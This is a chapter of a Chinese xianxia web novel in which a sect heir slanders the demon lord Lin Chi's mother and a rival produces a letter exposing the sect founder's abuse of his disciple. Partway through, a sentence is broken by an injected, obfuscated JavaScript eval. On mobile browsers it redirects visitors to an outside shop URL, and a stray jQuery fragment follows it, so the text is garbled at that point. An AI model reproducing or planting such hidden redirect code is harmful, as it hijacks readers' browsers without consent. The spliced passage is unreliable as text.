80. 师徒
    有年迈的凛家长老脸色突变,骤然呵斥:“少主不可!”

    凛思遥却双目烁烁,色状疯癫,他决不能允许仙门败在凛迟手下——他恨了这人这么久,定要这不知天高地厚的魔头身败名裂!

    “你敢不敢对着天下人承认,你娘名为慕星遥?!”

    慕星遥这三个字一出,在场年长的凛家长老脸上俱都一变,有心直口快的已经忍不住,大声叱骂:“凛思遥!我等尊称你一句少主,不代表你可以当真任性妄为!黄口小儿,不知轻重!这些陈年旧事还挖出来做什么!你难道当真要看凛家颜面尽失、沦为天下笑柄不成?!”

    有些年纪尚轻的,则是一脸茫然:“慕星遥是谁?也是我们凛家的弟子么?可她怎么没有改姓凛?”

    仙门之内以世家传承,白鹭洲从凡间招收外姓弟子之后,都会让其改姓归宗,并入凛家族谱之下。

    “问得好。”凛思遥箕踞而坐,一头乱发之间露出的圆脸上满是癫狂神色,“这就要问问凛迟、问问你那好娘亲了!罔顾人伦,颠倒纲常——不肯改姓、勾引师尊不成后被逐出宗门,可是心中有愧?!”

    一时之间,全场哗然。

    不知何时,魔兵魔将们都停止了攻击,站在昏黄晃动的烛火之后,整间华丽大殿宛如堕入阿鼻地狱,阎罗森立。

    这些魔物无知无觉,砍了脑袋、顷刻之间又会复生,见孤峰弟子鏖战许久,早已精疲力尽,见他们不主动攻击,干脆也停了下来,喘着粗气,趁机休整。

    是以如今凛思遥一声怒吼,落针可闻的大殿之中人人都听了个一清二楚。

    有博闻强识的,听到这里忽地一拍大腿,嘀咕道:“我说怎么这么耳熟——慕星遥,不就是当初凛天极师祖那被鬼千玦捉走惨死、又闻名一时的麒麟子徒弟么!”

    仙魔大战时局混乱,许多记载经书都已散落灭世,许多人事只能靠口口相传,许多人知晓凛天极当初有一位天资卓绝的亲传弟子,却不知晓其姓名为何、具体又是如何丧命。

    “呵。都是那贱妇咎由自取!”凛思遥仿佛化身一条嘶嘶作响的毒蛇,不停地向外喷射毒液,“若不是她鬼迷心窍、贪图我凛家家主权势,几次三番勾引我师祖不成,怎会被逐出白鹭洲、在半途上又被鬼千玦所捉?!”

    他抚掌哈哈大笑起来:“死得好、死得好啊!”

    躲在灯柱之后的玄负雪忍无可忍,摘下一截残烛,直接对准他张开的嗓子眼投了过去。凛思遥被噎了正着,惊慌失措地呜呜叫起来,众人连忙扭头去寻,玄负雪却早已经拔腿开溜、换个地方藏身了。

    真是晦气!玄负雪拍了拍手上站到的灯油,不屑地撇嘴。若她是那些没头没脑、不明真相的外人,可能还真会被凛思遥这满嘴胡话给哄骗住。毕竟谁能想到,堂堂凛家少主竟会不惜编排谎言、只为了诋毁一个邪魔的名誉。

    要知道凛迟本来就根本没有什么名誉好言了嘛!

    何况,她还进入过凛迟的海棠幻境,亲眼见过那个英姿飒爽、外刚内柔的坚毅女子是怎样设计伏杀鬼千玦,又是对凛迟亲子怀抱着怎样热切的爱意。

    说这样的女子会生性□□、不重师长,玄负雪鬼迷心窍才会相信!

    然而还真有人昏聩胡涂,信了凛思遥的说辞,恍然道:“我说师祖当初为何力排众议也要带着狗畜生回白鹭洲!原来是故人之子!”

    “呸!那也是师祖高义、既往不咎!否则就凭慕星遥着大逆不道之举,当初师祖就该将她和她腹中这余孽斩杀的一干二净,省得如今邪魔出世、为祸人间!”

    玄负雪听到这里,心里咯噔一声。

    这说法好生歹毒!竟是将凛迟入魔与白鹭洲分割得一干二净了。

    原本,凛迟是白鹭洲出身,如今虽然叛了魔,但许多修士私下也会议论纷纷,言辞之间对白鹭洲多有指责——若不是你白鹭洲自个师门不净,怎会令好端端的弟子无辜入魔?

    凛迟其人再冥顽不灵,归根溯源也是你凛家人出身。千年仙门世家,偏偏传到这一代出了一个大污点,白鹭洲弟子们出门都不复往日傲气,个个深觉败兴。也是为了这个缘故,白鹭洲在四大仙门世家中一骑绝尘的地位开始逐渐松动,以至于被见孤峰后来居上、凭白令苍知白捡了个大空子。

    玄负雪担忧地抬眸向上望去。凛迟眉宇之间满是躁郁,指节不轻不重地叩着扶手,眉心之间隐约一条黑线出没,周身若有若无地缠绕着魔气凝成的黑雾。

    这幅模样,就已经是在强忍要杀人的冲动了。

    偏偏底下的凛家弟子还在不知死活地大放厥词:“师祖当初就是太过仁善,才绕过着小魔头和他那娼妇娘亲——”

    剑光飞过,血花飞溅,断罪剑恍若有灵,嫌弃似的抖掉剑身善沾染的腥血,飞回凛迟身侧,还乖巧地蹭了蹭他的袖摆。

    而那原本高声喧哗的弟子,两眼暴突,满脸通红,张大了嘴却一个字也说不出来,撕心裂肺地啊啊直教。他的舌头被割掉了。

    仙门修士本就多有义气冲天之士,看不惯凛迟动辄打杀的行径,群起工攻之,叫骂之声沸反盈天。

    凛迟这才掀起薄薄的眼皮,漫不经心地扫了一眼下堂众人。

    “他对着孤说出这些字句,就该料到会有如今下场。”凛迟阴森森地露出一个笑,“怎么,只许你们仙门中人往孤身上泼脏,就不许孤反击?”

    白鹭洲弟子不服地叫嚷:“什么泼脏!你这魔头莫要颠倒黑白!你娘慕星遥被逐出师门可是铁板钉钉的事,在场诸多长辈同仁,当年之事定有见证者,我们可有一句话冤枉了你不曾!”

    这就奇怪了。玄负雪抱着胳膊,微微挑眉。

    她可是分明看见,自凛思遥爆出了这个惊天秘密之后,在场的许多白鹭洲长老便是面如土灰,有几个甚至还抬袖子擦了擦额头的汗,自以为神不知鬼不觉地交换了一个心照不宣的眼神,却都被守株待兔的玄负雪看

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591254|134050||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    得一清二楚。

    这事情,大概并不如凛思遥说得那样简单。

    *

    另一厢,苍知白将水心剑捡起,剑身通灵,察觉到主人心中郁气,瑟瑟发抖,恐惧得连剑光都暗淡了许多。

    苍知白的眼神里仿佛冻结了刺骨的寒冰,垂眸,听着殿中吵吵嚷嚷的众人争辩。

    每次都是这样。

    所谓的天之骄子出现,轻而易举地夺走所有人的瞩目,而无论他牺牲多少、奉献多少,只能换来一句轻飘飘的“多谢苍师兄”。

    可笑,他从前竟是为了这样虚无缥缈的公道正义,自污双手,背负罪孽。

    以至于,如今连三师妹都同他分道扬镳。

    思忖片刻,他打开芥子囊,从中取出一份发黄的书信,封面上赫然是凛天极苍劲飘逸的墨迹,收信人下写的是苍以朗的姓名。

    既然那魔头如今已然身败名裂,苍知白不介意让往这盆火上再浇一盆热油。

    *

    沉默半晌后,一名白发苍苍的凛家长老站了出来,颤颤巍巍道:“那慕星遥的确是我派弃徒,她德行有亏,这才——”

    “长老慎言。”

    没想到第一个开口制止的,居然是苍知白。

    “凛迟是慕星遥所生之子,确然不错。”苍知白举起手中的信纸,落地有声,“恐怕‘勾引’师尊一事,恐怕还有待商榷。”

    “这是十八年前,凛天极师祖写给我师父的密信。当初凛天极将凛迟从见孤峰带走,为确下他身世来历,还特地给我师父写信询问。信中,就提及了凛迟的亲生父母。”

    “我师父昏迷之前,将此信交于我手,道是隐藏了如此龌龊秘密,他心中实在不安,希冀我能寻机,将此事公之于众,还无辜者一个清白。”

    “信上所说,凛天极暗中觊觎徒弟美貌,逐年苦闷不得解,一次酒醉后竟荒唐行事,与自己的亲徒儿有了苟合之实。”

    “你胡说!”凛思遥双目欲裂,顾不得身上捆仙锁入骨,勒出斑斑血痕,拖着一副血淋淋的残躯往苍知白处爬挪,“我师祖绝不可能做出这样的丑事!”

    苍知白轻飘飘地将那信件丢到凛思遥身前:“真假与否,诸位自可观之,笔迹、手印、印章以及白鹭洲特有的封信方式,都不会说谎。”

    玄负雪仗着眼尖,一目十行地看清了那信纸上的内容。

    无非是个恶俗又反胃的恋慕故事。

    时年二九的凛天极周游天下,遇到了隐居在一处山林内的平凡村落。魔族肆虐,屠杀了整座村落,只剩下一个正好被他抱出赏月的小女孩。

    那魔族是追着凛天极而来,却害死了好心收留、为他治伤的村民。凛天极心中有愧,便将小女孩收为首徒,带回白鹭洲。

    那小女孩就是慕星遥。

    师徒相处,情谊见长,在一招一式地喂招之间,在对月饮酒的畅谈之间,凛天极愕然发觉自己对年轻的徒弟有了非分之想。